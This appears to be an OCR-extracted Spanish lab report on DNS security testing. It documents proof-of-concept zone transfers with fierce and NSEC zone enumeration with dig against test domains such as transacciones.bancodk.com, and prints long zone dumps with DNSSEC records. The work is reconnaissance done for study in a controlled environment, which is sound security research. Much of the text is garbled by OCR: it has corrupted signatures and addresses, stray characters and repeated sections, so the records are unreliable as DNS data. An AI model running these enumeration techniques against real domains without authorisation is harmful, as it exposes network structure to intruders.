4930Iuq5PIsvwFgeIInDiik1qIwBPICEKQWIUC8x0eY2GXx0bPnF67KqQFIVMIDHXVEXrS3P30kY6f
62Zs3CybcTmrljnE018= )

comunicate.com. 864000 IN AAAA 2800:3f0:4005:403 aca:32

comunicate.com. 864000 IN RRSIG ( AAAA 7 2 864000 20180629132629 20180530132629
22523 comunicate.com.
hwbnIbuf/xXTws/hws0153X9/20H0yNBMx j4Mo1ptUSGAZCKKGMbcFK3Yhzsf3wa7RDdarEv8e8v
PR+J5j tvvrLZfN1iloL2M8g36QA0TI4/c+5/0K201L+KPNgIL7 raijcVvSowkLIEUICrKKeQgSCE
ESHjnxIJMIZZ1QlofMQ= )

comunicate.com. 10800 IN NSEC ( dnsl.comunicate.com. NS SOA AAAA RRSIG NSEC
DNSKEY )

comunicate.com. 10800 IN RRSIG ( NSEC 7 2 10800 20180629132629 20180530132629
22523 comunicate.com.
IrloVAPJIgCGw+NAm/LLOMDT9QiQOwS6DWmaXiKiulVBofLOAYI4NITRAFGXpFNkOO53uDt840hsG
9MmXHY 1DgBnGwIVVsWSdFalKPhwdBuVtZKLpMD6hEG5MNKjDcORGxs9/2fz31rgbzKFY816x32q7
Y1da6zHFKNKXYNPP5Y8= )
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comunicate.com. 864000 IN DNSKEY ( 257 3 7
AWEAAagVvSWIpkcNGwejFpfrghVOoxIRGOhhsnbaC4FvDVggzL/FFZb6ZGDUH/v]jYTi3EYyETavf7
JR2PJag9rwhysVRY5tuTk1TNMIXt2yw8i8/Iik4wzP+dV/sXy+z2T2zYAu8mXkffeBlgHtcwOL+r
SJS9WLt5DQDO38NbONVIVbCNDY r4P1qHIWUIMIhJkHnavyr8+CUCfYllLi6nHo2fvjl1dHdOd316U
FS8Njt/AIMfWCyebORkOMdo//apSNZdPOFhpyIt7RCQIV+0ksqwlPv+nYEf+VafsNRECQw2VUq62z
ZEeL19T47cKyKZ1h7YQX4y3NQD5u4L2dYNEgKMcb8TE= ) Key ID = 18774

comunicate.com. 864000 1IN DNSKEY ( 256 3 7
AwEAAbcpZufXum/+QvgHS5alKx81M2NOtivIqYdZmrRb132sjOR0OCz2bPIFhDNt12MDcxkfSu202
snx+KDWXA1QMRa8x+1LcPgbQVAYj 7pvEh2ZI0KKOHK88/xgSLXrbc100fELWjasPjqiil+VqESIv
4XWAIMIG8/JHLr9wNgL1Lp+P ) ; Key ID = 22523

comunicate.com. 864000 IN RRSIG ( DNSKEY 7 2 864000 20180629132629
20180530132629 18774 comunicate.com.
LmtuNoB61tAzVRIKMVZDzx089X3/DgpkucBYpPJrMPLUShEACzAuzlais2arm4+6ulqCFmPML52Q
3J9yCEXUVX4MQE+701ME9S19qLGV3XkoIkWdReMuihhSdWyNIOj It+5RM6jCA252W3Imzk)Ij+8m
XHUZGvCct28MFs5+VgrrhSriwwcgCOORiiKIlusG/31ALD70R+XDww3VU3EPf2iQtFGRKI6YBCBZEP
SIgxuj3uUuxYlcfOxw9sE3YcsOHtEayS10LIynvAZt1Li32mKAY9huGvwqItPIdtktMKKRE+213q3
iItI801R6XAQEH/SKWF3ZVNGMIk2x/PcnEIM4Q== )

comunicate.com. 864000 IN RRSIG ( DNSKEY 7 2 864000 20180629132629
20180530132629 22523 comunicate.com.
WBAJIMaIJkc8N7Q8ygjml34twrdHKr+DIC+bqa53QgQ+w+D5H8/xeY1asZpGCMIY8K+62Qg1il3Dy
IUL2YSMQQ+M6AS1jGib/70EiTuwW14+US1fkhVECi0GOt91sqeb5dtGDyY2U/abe3b26+rYmEDOP
NJAsUi7UnEH32G8ZMlg= )

comunicate.com. 864000 IN AAAA 2800:3f0:4005:403: :baca:32
comunicate.com. 864000 IN RRSIG ( AAAA 7 3 864000 20180629132629
20180530132629 22523 comunicate.com.
VfRIZzB4YuSXkx/fBED73w3Xark2vkUWSQj zM6 rBKoQRN203X88ntVNINU/LNaSFytu3NTq5fjuib
aVv4D3hIWIEVKVVHhF+mR+00Y3TECLL30iWLZzaHYSjbrDBMFaVBuYY+e5TUQrE9XD/OCEIAYUTGTH
9k7MyyNyglBRK6ubY3c= )
comunicate.com. 10800 IN NSEC www.comunicate.com. AAAA RRSIG NSEC
comunicate.com. 10800 IN RRSIG ( NSEC 7 3 10860 20180629132629
201860530132629 22523 comunicate.com.
KjRcQusY84b3xPIn+20dLqvdGuaHmBj0bgx0PKpJcSs0xgjxnhICyCIb+IXvIuXKkiEKS5XclwIwt
xt//fhIFmc7GWwQttyE+qYv4h9AHbiTOJONLOL7v3/BmHvysVThQ/jwwqMhQphklrgVwslIa3G/c
Wwkd+06EgrylrY+DOMY= )
.comunicate.com. 864000 IN AAAA 2001:503:3f::beca:3
.comunicate.com. 864000 1IN RRSIG ( AAAA 7 3 864000 20180629132629
20180530132629 22523 comunicate.com.
Yc+wnaiK6MN9ahHhIBu332uj jPdH/sOvaF/LM7zdTKXm4ex84SsMjX44z9eEYAb7XEVUIMO/gZ0]
5Rx6Y4t0hAjcYXKZGZVTxM]jYtAovgaQOfsNVGydquCceM/B/qPrr3NVBvUsg7c+Lo/mffGs8Ugi0
3J8AJ1C/QYaFCkeftRY= )
.comunicate.com. 10800 IN NSEC comunicate.com. AAAA RRSIG NSEC
.comunicate.com. 10800 IN RRSIG ( NSEC 7 3 10860 20180629132629
20180530132629 22523 comunicate.com.
itc2k8VILg3TUWED6XVN8znyMp0/SgQrpjpVfk7/cmXeDshlTYIXnfEO1npgpUHhIVCcSwm2qm+nc
1KHqhS3GQz IN5YZHAZQ7/4UXGhoK400oLh6AHyauAv9uvMSdduAWMz68M8npF6VEE29sRQeDticX4
pVADX1Is4N998F/botk= )

Transferencia de zona de networks.com

:~# fierce -dns networks.com.
DNS Servers for networks.com.:
dnsl.networks.com

Trying zone transfer first...
Testing dnsl.networks.com

Whoah, it worked - misconfigured DNS server found:
networks.com. 864000 IN SOA ( dnsl.networks.com. admin.networks.com.
2018061201 ;serial
86400 ;refresh
3600 ;retry
604800 ;expire
10800 ;minimum
)
networks.com. 864000 IN NS dnsl.networks.com.
networks.com. 864000 IN AAAA :370:4005:403: :baca:34
dnsl.networks.com. 864000 IN 2800:370:4005:403: :baca:34
www.networks.com. 864000 IN 2 :3f:

There isn't much point continuing, you have everything.
Have a nice day.
Exiting...




Transferencia de zona de transacciones.bancodk.com

:~# fierce -dns transacciones.bancodk.com.
DNS Servers for transacciones.bancodk.com.:
dnsl.transacciones.bancodk.com

Trying zone transfer first...
Testing dnsl.transacciones.bancodk.com

Whoah, it worked - misconfigured DNS server found:
transacciones.bancodk.com. 864000 1IN SOA ( dnsl.transacciones.bancodk.com.
admin.transacciones.
2018041701 ;serial
86400 ;refresh
3600 ;retry
604800 ;expire
10800 ;minimum
)
transacciones.bancodk.com. 864000 1IN RRSIG ( SOA 7 3 864000 20180709204935
20180609204935 45857 transacciones.bancodk.com.
Z7ILBp46SgkON30T1xNoPQO9bj/gJluwb/WYoaXEk8ronrhspdb/xMPppFUliV5Was/MMx+W2RCDu
L1FEblaLJOelLt2dDibNQ7d6poOURzaboefmpdencs2675VnyB7t5P7yyioosDHEg70HsW1kofYaQ
6nwpBNL8HCZz3MoP26RU= )
transacciones.bancodk.com. 864000 IN NS dnsl.transacciones.bancodk.com.
transacciones.bancodk.com. 864000 1IN RRSIG ( NS 7 3 864000 20180709204935
20180609204935 45857 transacciones.bancodk.com.
G6SSmgyNgTImlvIeCmilmCOURXhKjLGAWMSOY/0Bs79wCAMEOCj ZAgwXiN5//cq3RZUz1G//1FeH
HSuzjOryoiBd9QqHaKpez1PyMNfyCYErg8hc/f5B8wdZCBKi6JazKprTjtqcnLUKngOKkWvsXIHc
W7SF2kYqSxQN9Ddo6mM= )
transacciones.bancodk.com. 864000 1IN AAAA 2001:12:7000::cafe:33
transacciones.bancodk.com. 864000 IN RRSIG ( AAAA 7 3 864000 20180709204935
20180609204935 45857 transacciones.bancodk.com.
aQoLROYhUZhuOMFJEB2yunUypceFx3cHwT+0Woi+VVyRoHT92Ay9pj f6Vh7IUsOyIe9I10020F51
VOKsUfJUHHFCPNIFDFaAlbK8+uciBwnLPDMsC3svAeH04/4AY fae062]rxzYydw+prg8cIGOH+po
dIW2IfrE2IsQn5bxHV8= )
transacciones.bancodk.com. 864000 1IN DNSKEY ( 256 3 7
AwWEAAadVpYio62DCsp+PkGgQnXasaYpr/8/tS6zfVieyihPSuS5eSpFXnxUZfiXz7ooff21véwzd/
sQcBunMohganx1zxsHulm+EUojmNEtArnm+Il0ewjTu6YgbtadtFfut6dIJFezT8xGhdTFjdrT3q
xsPrya5toqr9Jmned55VvyER ) ; Key ID = 45857
transacciones.bancodk.com. 864000 1IN DNSKEY ( 257 3 7
AWEAAbz1eljWCkoZIVVh6aSTiRDHMTQaDEKseNyQMVBzkcKOuZwNiqtExWIrSs5TqftoZQGoRgo1
6KtZ4hLgs4/M0IpqOELdQIig/LivIP640APMKY rRGPpsjguke8Dn1kErgl7PdgZjpD43X1Vvas83sL
MVNOOgPaSz7i0012PTUViF7ef7kjPRDyyPgN1ktHnKhFXtSpJaggudTsNxVPTbn8alZiVvzj9Er27
RXKCKRHSVjLM22N7z2K3dv20ovEq9w8qbFpsJX11Z0jkQqqLEUyeOENhqmKAQ11XxGEge5uj8Lqo5w
VQIbqrjYUjrPt/3hJ+YDZ41uzZls632mFWOk/rsxfe8k= ) ; Key ID = 46896
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transacciones.bancodk. com. 864000 1IN RRSIG ( DNSKEY 7 3 864000 20180709204935
20180609204935 45857 transacciones.bancodk.com.
JKP81KKN+MbKc7s0+BxX0sEeksn7bcZBippi83UJGmVLgX7vqsvuRtdPRiIMXs6I2ICsTyDx31SCd
Chel/80oBEzYuexgLmpAYFhHaPTpU+1ioisfyR5GQgN8hzROrPV10pJIYdAH1QaSrplXccSDOtAiOV
LBwcWlguaiFsZ+qSKnk= )

transacciones.bancodk.com. 864000 1IN RRSIG ( DNSKEY 7 3 864000 20180709204935
20180609204935 46896 transacciones.bancodk.com.
rN4QWTN6ADbkAqUVMtVSQV4+hbcvOORe6OL+ZOUN]Q4bCiDYqlpBnsF5guMDkHc j FEDMLG4t Mgl
LUL+G+Ydbdyke08rJd5Vmé6nifClXteR1ZIJiEETfSQErZrMObRmO3qjUfCWpbbsFkxvsuH+j/7Ur4h
eoSmC8+Qb/fFTV1IItEFK9jwb9YGmAeqJtenOkiAN2SGBAHCSh8tjbUTIkQLIWk®@6qRCkzmhn6zvM
KHoTMqnS/pBoQGOIPNzxfUIDEt1B9b1PEgEIhYrOP6ROkO7tniDElzZcap2pGyVfk71H/Ck71S]+
0VgBH+suBQec100En50VCUWWBXZw+91iE9Xn3Nw==

transacciones.bancodk.com. 0 IN NSEC3PARAM 1 0 20 200112037000cafe

transacciones.bancodk.com. 0 IN RRSIG ( NSEC3PARAM 7 3 0 20180709204935
20180609204935 45857 transacciones.bancodk.com.
Hy©OOF5PNIAsifEKbCELt4cVOUI4XQS8G3dvo+v/hKSq/xoxWNuiti8qaSRtIZT1QvIWmzEO8gN+/
c/rYk76+d471bDLx1M51VjhnqjKqFh9eE1FNROtK2tmPszBYoHGX9I0/vOwhbQlTO11BEd8RGrhA
U+y1lSm8sPCqXyxql/jk= )

dnsl.transacciones.bancodk.com. 864000 IN AAAA 2001:12:7000: :cafe:33

dnsl.transacciones.bancodk.com. 864000 IN RRSIG ( AAAA 7 4 864000
20180709204935 20180609204935 45857 transacciones.bancodk.com.
EWM3/t5vVbZQI+2bypKoa/yQX11vo9BLMbehX1xDZLym/Q46E/PRhVCtq9yBCbtaz8TtfS1tMePI
alEReB6Jk4N3uIRZOHsT+FDtzWSIA5zDn869GCXcrCjdcIcqz4UQrsPSAEw+uDTKt1nHMVDt8P1D
IqWHJ09SVeiweQVG3DM= )

www.transacciones.bancodk.com. 864000 1IN AAAA 2001:12:7000: :cafe:8

www.transacciones.bancodk.com. 864000 1IN RRSIG ( AAAA 7 4 864000 20180709204935
20180609204935 45857 transacciones.bancodk.com.
D9841c5DEek421z5aQ31QszgkOlLD2frVT1w]jY/CeSAZyKYWKDA+UgsGqufF19/xqxiCA+/11NoT
qMdZKkLMAaTnSEWpYyClyt9Y+MaJXer8QakJuxQDwXd8NWiABOm3KFbESddIvzKASWDNH+p7yvT7mz
SOBMBe j bwwCVwdGcktY= )

11AL7BKPS402CUQ9E4P3V096M5921SAH. transacciones.bancodk.com. 10800 IN NSEC3 G
1 20 200112037000cafe 7pfpnm2ie0fk24bgticqvkrsilpvk46a NS SOA AAAA RRSIG DNSKEY
NSEC3PARAM )

11AL7BKPS402CUQ9E4P3V096M5921SAH. transacciones.bancodk. com. 10800 IN RRSIG
NSEC3 7 4 10800 20180709204935 20180609204935 45857 transacciones.bancodk.com.
SqQw6d8WOMrqBzH76IbMT6E j ZKfewdnaIXmyRBTj2VhQyRMWItTgYKc6]jnW4bUbeYrDOYzrsAo06
ADiY4xfpt6nIEtwhto866MUGKZr+5inhGmxe6ESRIGUya0z2KgIbOeocnewR8nXLsD2WspApadK+
IROCVQVgegXc8v6Ng8I= )

7PFPNM2I0OFK24BGTICQVKRSILPVK46A.transacciones.bancodk.com. 10800 IN NSEC3
1 20 200112037000cafe lnpi8e9auqvl9bplrrbelshb4qp@cmr7 AAAA RRSIG )

7PFPNM2I0OFK24BGTICQVKRSILPVK46A.transacciones.bancodk.com. 10800 IN RRSIG
NSEC3 7 4 10800 20180709204935 20180609204935 45857 transacciones.bancodk.com.
KT3Cb4TWqWXx3tuF+2gmt/1ngF4uzSrsHNr51WR1XnJcAcnrlMjAOYNZq6il1Xvf9zTfgrSSour+
5aPcknSuC/FYRK+EIYHGbNNHI6VVbtFI/AOEsgga8in26vvVdUaZSLCLSri91kaWqsmwSTQu+wHd
XCq7MGBYWVNpDztmVmU= )

LNPISE9AUQVL9BPLRRBE1SHB4QPOCMR7 . transacciones.bancodk. com. 10800 IN NSEC3
1 20 200112037000cafe 1lal7bkps402cuq9e4p3vo96m5921sah AAAA RRSIG )

LNPISE9AUQVL9BPLRRBE1SHB4QPOCMR7 . transacciones.bancodk. com. 10800 IN RRSIG
NSEC3 7 4 10800 20180709204935 20180609204935 45857 transacciones.bancodk.com.
anL1VWEnpkgr/ul+8SghX7dakP6DpznPeil faWmJ1laUXjsUHx+Td8dQjVIRA01LFXKZkcEmOmX8
tCKEf20tGOpHW4MD43Xww/uRhZeoBBkIAPpoq9XWUAWISRk3a+0e@biELIMCC2yR1BrsZQewWTyxT/
AOLC61+0MgsLz6G1OTU= )

There isn't much point continuing, you have everything.
Have a nice day.
Exiting...
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El proceso de transferencia de zona de DNSSEC NSEC3 es similar al
proceso de de transferencia de zona en DNSSEC NSEC, una de los puntos
que difiere en el proceso es que aparecen el registro NSEC3.

Tipo de Ataque de transferencia de zona
prueba

Objetivo Realizar transferencia de zona
Herramienta | Fierce

Descripcién

Fierce es un escaner de dominio que le ayuda a encontrar los servidores
DNS, transferencias de zona, subredes y host de cualquier dominio de
destino. Fierce primero buscard un dominio de destino en busca de los
servidores DNS, junto a las transferencias de zona.

Resultado

En esta prueba de concepto se puedo realizar transferencia de zona de la
mayoria de los dominios encontrados a exaccion de los dominio raiz y del
dominio bancodk.com se obtuvieron los archivos de zona que muestran los
registros DNS como (NS, SOA, AAAA) acompafado de los registros
DNSSEC (RRSIG, NSEC3 , DNSKEY, DS)

Evidencia de la prueba de concepto y resultados obtenidos.

Transferencia de zona de transacciones.bancodk.com

:~# fierce -dns transacciones.bancodk.com.
DNS Servers for transacciones.bancodk.com.:
dnsl.transacciones.bancodk.com

Trying zone transfer first...
Testing dnsl.transacciones.bancodk.com

Whoah, it worked - misconfigured DNS server found:
transacciones.bancodk.com. 864000 IN SOA ( dnsl.transacciones.bancodk.com.
admin.transacciones.
2018041701 ;serial
86400 ;refresh
3600 ;retry
604800 ;expire
10800 ;minimum
)
transacciones.bancodk.com. 864000 IN RRSIG ( SOA 7 3 864000 20180709204935
20180609204935 45857 transacciones.bancodk.com.
Z7ILBp46SgkON30T1XxNoPQO9bj /gJuwb/WYoaXEk8ronrhspdb/xMPppFUliV5Was/MMx+W2RCDu
L1FEblaLJOeLt2dDibNQ7d6po®URzaboefmpdencs2675VnyB7t5P7yyioosDHEg70HsW1kofyaQ
6nwpBNL8HCZ3MOP26RU= )
transacciones.bancodk.com. 864000 IN NS dnsl.transacciones.bancodk.com.
transacciones.bancodk.com. 864000 1IN RRSIG ( NS 7 3 864000 20180709204935
20180609204935 45857 transacciones.bancodk.com.
G6SSmgyNgTImlvIOCmilmCOURXhK]jLGAWMSOY/0Bs79wCAMEOC ) ZAgwXiN5//cq3RZUz1G//1FeH
HSuzjOryoiBd9QqHaKpez1PyMNfyCYErg8hc/f5B8wdZCBKi6JazKprTjtqcnLUKngOKkWvsXIHc
W7SF2KYqSxQN9Ddo6mM= )
transacciones.bancodk.com. 864000 IN AAAA 2001:12:7000: :cafe:33
transacciones.bancodk.com. 864000 1IN RRSIG ( AAAA 7 3 864000 20180709204935
20180609204935 45857 transacciones.bancodk.com.
aQoLROyhUZhuOMFJEB2yunUypceFx3cHwT+0Woi+VVyRoHT92Ay9pj f6Vh7IUs0yIe9II0020F51
VOKsUfIJUHHFCPNIFDFaA1bK8+uciBwnLPDMsC3svAeH04/4AY fae062]rxzYydw+prg8cJIGOH+po
dIW2IfrE2IsQn5bxHV8= )
transacciones.bancodk.com. 864000 IN DNSKEY ( 256 3 7
AwEAAadVpYi062DCsp+PkGgQnXasaYpr/8/tS6zfVieyihPSu5eSpFXnxUZfiXz7o0ff21V6wzd/
sQcBunMohganx1zxsHulm+EUojmNEtArnm+Il0ewjTubYgbtadtFfut6dIJFezT8xGhdTFjdrT3q
xsPrya5toqr9JmnedS5VvyER ) ; Key ID = 45857
transacciones.bancodk.com. 864000 IN DNSKEY ( 257 3 7
AWEAAbZz1eljWCkOZIVVh6a5TiRDHMTQaDEKseNyQMVBzkcKOUZwNiqtEXWIrSs5TqftoZQGoRg01
6KtZ4hLgs4/M0JIpqOELdQIig/LivIP640APMKY rRGPpsjguke8Dn1kErgl7PdgZjpD43X1Va83SL

MVNOOgPasSz7i0012PTUviF7ef7kjPRDyyPgN1ktHnKhFXtSpJaggu4TsNxVPTbn8alZivzj9Er27
RXKCKRHSVjLM22N72z2K3dv20ovEq9w8qbFpsJIX11Z6jkQqqLEUye®ENhqmKAQL11XxGEge5uj8Lqo5w
VQIbqrjYUjrPt/3hJ+YDZ41uZ)s632mFWOk/rsxfe8k= ) ; Key ID = 46896
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transacciones.bancodk.com. 864000 1IN RRSIG ( DNSKEY 7 3 864000 20180709204935
20180609204935 45857 transacciones.bancodk.com.
JKP81KKN+MbKc750+BxX0sEeksn7bcZBippi83UJGmVLgX7vqsvuRtdPRiMXs6I2ICsTyDx31SCd
Chel/80BEzYuexgLmpAYFhHaPTpU+1ioisfyR5GQgN8hzROrPV10pIYdAH1QaSrplXccSDOtAiIOV
LBwcWlguaiFsZ+qSKnk= )

transacciones.bancodk.com. 864000 1IN RRSIG ( DNSKEY 7 3 864000 20180709204935
20180609204935 46896 transacciones.bancodk.com.
rN4QWTN6ADbkAqUVMtVSQV4+hbcvOORe60L+ZOUNjQ4bCiDYqlpBnsF5guMDkHcj fFEDMLG4t1Mgl
LUL+G+Ydbdyke08r15vm6nifC1XteR1ZIiEEffSQErZrMObRmO3qjUfCWpbbsFkxvsuH+j/7Ur4h
eoSmC8+Qb/fFTVIItEFK9jwb9YGmAeqJtenOkiAN2SGBAHCSh8tjbUTIkQLIwkO6qRCkzmhn6zvM
KHoTMqnS/pBoQGOIPNzxfUIDEt1BOb1PEgEIhYrOP6ROkO7tniDE1zZcap2pGyVfk71H/Ck71S]+
0VqBH+suBQec1o00EN50VCUWWBXZw+91iE9Xn3N )

transacciones.bancodk.com. 0 IN NSEC3PARAM 1 0 20 200112037000cafe

transacciones.bancodk.com. 0 IN RRSIG ( NSEC3PARAM 7 3 0 20180709204935
20180609204935 45857 transacciones.bancodk.com.
Hy®O0F5PNIAsifEKbCELt4cVOUI4XQS8G3dvo+v/hKSq/xoxWNuiti8qaSRtIZT1QvIWmzEO8qN+/
c/rYk76+d471bDLx1M51VjhnqjKqFh9eE1FnROtK2tmPszBYoHGX9I0/vOwhbQlTO11BEd8RGrhA
U+ylSm8sPCqXyxql/jk= )

dnsl.transacciones.bancodk.com. 864000 IN AAAA 2001:12:7000::cafe:33

dnsl.transacciones.bancodk.com. 864000 IN RRSIG ( AAAA 7 4 864000
20180709204935 20180609204935 45857 transacciones.bancodk.com.
EWM3/t5vVbZQI+2bypKoa/yQX11vo9BLMbehX1xDZLym/Q46E/PRhVCtq9yBCbtaz8TtfS1tMePI
alEReB6Jk4N3uIRZOHST+FDtzWSIA5zDn869GCXcrCjdcIcqz4UQrsPSAEw+uDTKt1nHMVDt8P1D
IgWHJ09SVeiweQVG3DM= )

www.transacciones.bancodk.com. 864000 IN AAAA 2001:12:7000: :cafe:8

www.transacciones.bancodk.com. 864000 IN RRSIG ( AAAA 7 4 864000 20180709204935
20180609204935 45857 transacciones.bancodk.com.
D9841c5DEek421z5aQ31Qszgk@1LD2frVT1w]jY/CeSAZYyKyWKDA+UgsGqufF19/xqxiCA+/11NoT
qMdZkLMAaTnSEWpYyC1lyt9Y+MalXer8QakJuxQDwXd8NWiABOm3KFbESAdIvzKASWDNH+p7yvT7mz
SOBMBe j bWWCVwdGcktY= )

11AL7BKPS402CUQ9E4P3V096M5921SAH. transacciones.bancodk. com. 10800 IN NSEC3 1
1 20 200112037000cafe 7pfpnm2i@0fk24bgticqvkrsilpvk46a NS SOA AAAA RRSIG DNSKEY
NSEC3PARAM )

11AL7BKPS402CUQ9E4P3V096M5921SAH. transacciones.bancodk. com. 10800 IN RRSIG
NSEC3 7 4 10800 20180709204935 20180609204935 45857 transacciones.bancodk.com.
SqQw6d8WOMrqBzH76IbMT6E j ZKfewdnaIXmyRBTj2VhQyRMWItTgYKc6jnW4bUbeYrDOYzrsAo06
ADiY4xfpt6nIEtwhto866MUGKZr+5inhGmxe6ESRIGUya0z2KglbOeocnewR8nXLsD2WspApadK+
IROCVQVqegXc8veNg8I= )

7PFPNM2I00FK24BGTICQVKRSILPVK46A. transacciones.bancodk.com. 10800 IN NSEC3
1 20 200112037000cafe lnpi8e9auqvl9bplrrbelshb4qpOcmr7 AAAA RRSIG )

7PFPNM2I0OFK24BGTICQVKRSILPVK46A. transacciones.bancodk.com. 108600 IN RRSIG
NSEC3 7 4 10800 20180709204935 20180609204935 45857 transacciones.bancodk.com.
KT3Cb4TWqwXx3tuF+2gmt/1ngF4uzSrsHNr51WR1XnJcAcnrlMjAOYNZq6il1Xvf9zTfgrssour+
S5aPcknSuC/FYRK+EIYHGbNNHI6VVbtFI/AOEsgga8In26vvVdUazZSLCLSri91kaWqsmwSTQu+wHd
XCq7MGBYWVNpDztmVmU= )

LNPIBE9AUQVL9BPLRRBE1SHB4QPOCMRY . transacciones.bancodk.com. 10800 IN NSEC3
1 20 200112037000cafe 1lal7bkps402cuq9e4p3vo96m5921sah AAAA RRSIG )

LNPIBE9QAUQVL9BPLRRBE1SHB4QPOCMR7 . transacciones.bancodk.com. 10800 IN RRSIG
NSEC3 7 4 10800 20180709204935 20180609204935 45857 transacciones.bancodk.com.
anL1VWEnpkgr/ul+8SghX7dakP6DpznPeilfawml1laUXjsUHx+Td8dQjVIRA01LFXKZkcEmOmX8
TCKET20tGOpHW4MD43Xww/uRhZeoBBKIAPpoq9XWUAWISRk3a+0e®biEIMCC2yR1BrsZQeWTyxT/
ABLC61+0MgsLz6G1OTU= )

There isn't much point continuing, you have everything.
Have a nice day.
Exiting...

PoC de Transferencia de zona sobre el escenario de pruebas controlado
cuando todo el sistema DNS es Windows-Centos

Descripcion de la prueba

Se realiza la PoC de transferencia de zona cuando el sistema DNS esta
implentado en los sistemas operativos Windows-Centos, red interna y red externa
respectivamente. Cuando ambos sistemas se encuntran configurados de manera

segura.
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Nombre Transferencia de zona

Tipo de prueba Identificacion y explotacion de vulnerabilidades

Herramienta Fierce

Descripcion

Fierce es un escéner de dominio que le ayuda a encontrar los
servidores DNS, transferencias de zona, subredes y host de
cualquier dominio de destino. Fierce primero buscard un dominio de
destino en busca de los servidores DNS, junto a las transferencias de
zona.

Resultado

En esta prueba de concepto se puedo realizar transferencia de zona
de la mayoria de los dominios encontrados a exaccion de los dominio
raiz y del dominio bancodk.com se obtuvieron los archivos de zona
gue muestran los registros DNS como (NS, SOA, AAAA)
acompafado de los registros DNSSEC (RRSIG, NSEC , DNSKEY,
DS)

:~# fierce -dns .

Uhm, no. "." is gimp. A bad domain can mess up your day.
Try again.
Exiting...
:~# fierce -dns com.
DNS Servers for com.:
a.gtld-servers.net.com

Trying zone transfer first...
Testing a.gtld-servers.net.com
Request timed out or transfer not allowed.

Unsuccessful in zone transfer (it was worth a shot)
Okay, trying the good old fashioned way... brute force

Checking for wildcard DNS...
Nope. Good.
Now performing 2280 test(s)...

Subnets found (may want to probe here using nmap or unicornscan):

Done with Fierce scan: http://ha.ckers.org/fierce/
Found © entries.

Have a nice day.
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:~# fierce -dns bancodk.com.
DNS Servers for bancodk.com.:
dns1.bancodk.com

Trying zone transfer first...
Testing dnsl.bancodk.com
Request timed out or transfer not allowed.

Unsuccessful in zone transfer (it was worth a shot)
Okay, trying the good old fashioned way... brute force

Checking for wildcard DNS...
Nope. Good.
Now performing 2280 test(s)...

Subnets found (may want to probe here using nmap or unicornscan):

Done with Fierce scan: http://ha.ckers.org/fierce/
Found © entries.

Have a nice da

:~# fierce -dns transacciones.bancodk.com
DNS Servers for transacciones.bancodk.com:
dnsl.transacciones

Trying zone transfer first...
unresolvable name: dnsl.transacciones at /usr/bin/fierce line 226.
Testing dnsl.transacciones
Request timed out or transfer not allowed.
unresolvable name: dnsl.transacciones at /usr/bin/fierce line 236.

uUnsuccessful in zone transfer (it was worth a shot)
Okay, trying the good old fashioned way... brute force

Checking for wildcard DNS...
Nope. Good.
Now performing 2280 test(s)...

Subnets found (may want to probe here using nmap or unicornscan):

Done with Fierce scan: http://ha.ckers.org/fierce/
Found © entries.

Have a nice da

:~# fierce -dns comunicate.com.
DNS Servers for comunicate.com.:
dnsl.comunicate.com

rying zone transfer first...
Testing dnsl.comunicate.com
Request timed out or transfer not allowed.

Unsuccessful in zone transfer (it was worth a shot)
Okay, trying the good old fashioned way... brute force

Checking for wildcard DNS...
Nope. Good.
Now performing 22860 test(s)...

Subnets found (may want to probe here using nmap or unicornscan):

Done with Fierce scan: http://ha.ckers.org/fierce/
Found © entries.

Have a nice day.




:~# fierce -dns networks.com.
DNS Servers for networks.com.:
dnsl.networks.com

Trying zone transfer first...
Testing dnsl.networks.com
Request timed out or transfer not allowed.

Unsuccessful in zone transfer (it was worth a shot)
Okay, trying the good old fashioned way... brute force

Checking for wildcard DNS...
Nope. Good.
Now performing 2280 test(s)...

Subnets found (may want to probe here using nmap or unicornscan):

Done with Fierce scan: http://ha.ckers.org/fierce/
Found © entries.

Have a nice day.

2.2. NUMERCION DE ZONA

PoC de enumeracion de dominio por consulta incorrecta, cuando el
escenario de pruebas controlado cuando todo el sistema DNS esta
implentado en Cenots7 junto con las extensiones de seguridad DNSSEC.

Descripcion de la prueba

Se realiza la PoC de enumeracion de dominio sobre los bancodk.com y com.
para comprobar la vulnerablidaldiad presentadas en la implentacion de
DNSSEC con registro NSEC.

Nombre Enumeracion de dominios por consultas incorrectas
Tipo de prueba | Identificacion y explotacion de vulnerablidades
Herramienta Dig

Descripcion

Se utiliza la herramienta dig, para aprovechar la vulnerabiliad de
DNSSEC con NSEC, que permite enumerar los dominios a partir de
consultas incorrectas.

Resultado

Esta prueba de concepto se realiza sobre el dominio com para
comprobar que DNSSEC con NSEC permite hacer numeracion de zona
como vulnerabilidad de NSEC, debido que al preguntar sobre dominios
inexistentes da informacion sobre dominios existentes.

Se obtuvo que al dominio com, estan asociados subdominio como
bancodk.com, networks.com y comunicate.com.
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Evidencia de la prueba de concepto y resultados obtenidos.

:~# dig AAAA NSEC a.com +dnssec
;; Warning, extra type option

<<>> DiG 9.11.2 Debian <<>> AAAA NSEC a.com +dnssec

global options: +cmd

Got answer:

->>HEADER<<- opcod QUERY, status: NXDOMAIN, i 58078

flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 4, ADDITIONAL: 1

OPT PSEUDOSECTION:
; EDNS: version: @, flags: do; udp: 4096
33 QUESTION SECTION:
;a.com. IN NSEC

AUTHORITY SECTION
10800 IN SO0A a.gtld-servers.net.com. admin.com. 201804171 86400 3600 604800 10800

[ 108600 IN RRSIG SOA 7 1 864000 20180707200904 20180607200964 39398 com. BzQrvYxwgxTl
XtxSas06IFHpvhx614kkqR/BuXYXXlaruENTHt3//PGY gtS3VAGrt8Gqz9ef2vsllelopthbFAtCFDNBNRjzgJcdjNQ6ovOnImSH t15sbVF8M3S1Y9
PZMSTLGtEy/6Gn+uKh4Um1BoPpXt1ls rmVPQWS4yGM2 11I=

com. 10800 IN RRSIG NSEC 7 1 10800 20180707200904 20180607200964 39398 com. dn48gquuhzBq
9GWbiQHWPE1vXZ1/HhYH21UjVxF4xrR5PiW6nFFthUhZ hIhOIS5T/K8sFMo/CoubgSn7Gz6V2INRI9A9piY7EWiRriQy9o7kRFgj w8p/k80BOymrnL|

gd7ExnLCc2/h412M/PUV5Sm8WTx3+AK4yvIOuIPKO2P Pms=
com. 10800 IN NSEC bancodk.com. NS SOA AAAA RRSIG NSEC DNSKEY

Query time: 84 msec
SERVER: 2001:12:700! cafe:35#53(2001:12:7000: :cafe:35)
WHEN: Tue Jul 03 20:02:16 EDT 2018

;: MSG SIZE rcvd: 455

:~# dig AAAA NSEC c.com +dnssec
;; Warning, extra type option

